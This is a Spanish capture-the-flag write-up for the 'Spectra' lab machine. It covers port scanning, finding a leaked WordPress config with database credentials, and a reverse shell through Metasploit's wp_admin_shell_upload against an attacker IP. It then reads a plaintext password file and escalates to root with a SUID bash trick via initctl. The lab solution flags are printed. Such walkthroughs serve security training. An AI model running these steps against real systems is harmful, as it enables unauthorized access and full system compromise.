Spectra es un desafío con una complejidad fácil que verifica tus habilidades para explotar los errores de configuración de usuarios, enumeración, explotación de WordPress y la escalada básica de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
nmap 10.10.10.229
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 20:56 CEST
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.045s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8081/tcp open blackice-icecap
Podemos comprobar que tiene el puerto 80 abierto, por lo tanto lo primero que vamos hacer es acceder a la web
Al presionar sobre el link de «Software Issue Tracket» nos redirige a http://spectra.htb/main/ la cual no puede resolver el DNS. así que lo agregamos a nuestro /etc/hosts
echo "10.10.10.229 spectra.htb" >> /etc/hosts
Una vez hemos agregado a nuestro fichero /etec/hosts la linea podemos comprobar que corre un wordpress en el que tiene un post publicado con el usuario «Administrator»
Lanzamos el wpscan en busca de algo que nos pudiese interesar y no encontramos nada. Lanzamos dirb para fuzzear la web y encontramos el siguiente directorio
---- Scanning URL: http://10.10.10.229/ ----
+ http://10.10.10.229/index.html (CODE:200|SIZE:283)
==> DIRECTORY: http://10.10.10.229/main/
==> DIRECTORY: http://10.10.10.229/testing/
Accedemos a http://10.10.10.229/testing/ y encontramos una copia del fichero de configuración
En dicho fichero de configuración encontramos el usuario y contraseña de la base de datos.
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Logramos acceder mediante el usuario administrator y la contraseña de la base de datos «devteam01»
Tratamos de modificar el fichero header.php para obtener una reverse shell pero a la hora de guardar los datos no se guarda correctamente.
Para obtener una reverse shell empleamos wp_admin_shell_upload de metasploit
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set TARGETURI /main
set rhosts spectra.htb
set USERNAME administrator
set PASSWORD devteam01
set lhost 10.10.14.161
exploit
Una vez obtenido la sesión de meterpreter accedemos a una shell bash
Comprobamos que somos el usuario nginx el cual no tiene permisos para nada y la primera flag se encuentra en el home del usuario /home/katie
bash-4.3$ ls -lst /home/katie
ls -lst /home/katie
total 8
4 -r-------- 1 katie katie 33 Feb 2 15:57 user.txt
4 drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
Comienzo a enumerar en los history de los usuarios, logs, procesos en busca de algo que nos puede ayudar a elevar privilegios.
En dicha enumeración lanzamos un find en busca de palabras claves como «password» o «passwd» enctre otras
find / -path /sys -prune -o -path /proc -prune -o -type f -name passwd
En dicha busqueda encontramos el fichero «/etc/autologin/passwd» el cual parece tener una contraseña en texto plano.
cat /etc/autologin/passwd
SummerHereWeCome!!
Intentamos acceder mediante ssh con el usuario katia y la contraseña que acabamos de encontrar
Obtenemos la primera flag
-bash-4.3$ cat user.txt
e89d27fe195e9114ffa72ba8913a6130
Comprobamos los privilegios que tiene el usuario:
Comprobamos que tenemos permisos de root bajo el comando /sbin/initctl el cual nos puede servir para elevar privilegios
Listamos los procesos que tienen privilegios de root
sudo -u root /sbin/initctl list
vemos que tenemos uno que se llama test2, lo modificamos en el cual agregamos la siguiente linea: «chmod +s /bin/bash
vi /etc/init/test2.config
Iniciamos el servicio
-bash-4.3$ sudo /sbin/initctl start test2
test2 start/running, process 109698
Escalamos privilegios como root
Por ultimo obtenemos la flag de root
cat /root/root.txt
d44519713b889d5e1f9e536d0c6df2fc
:wq!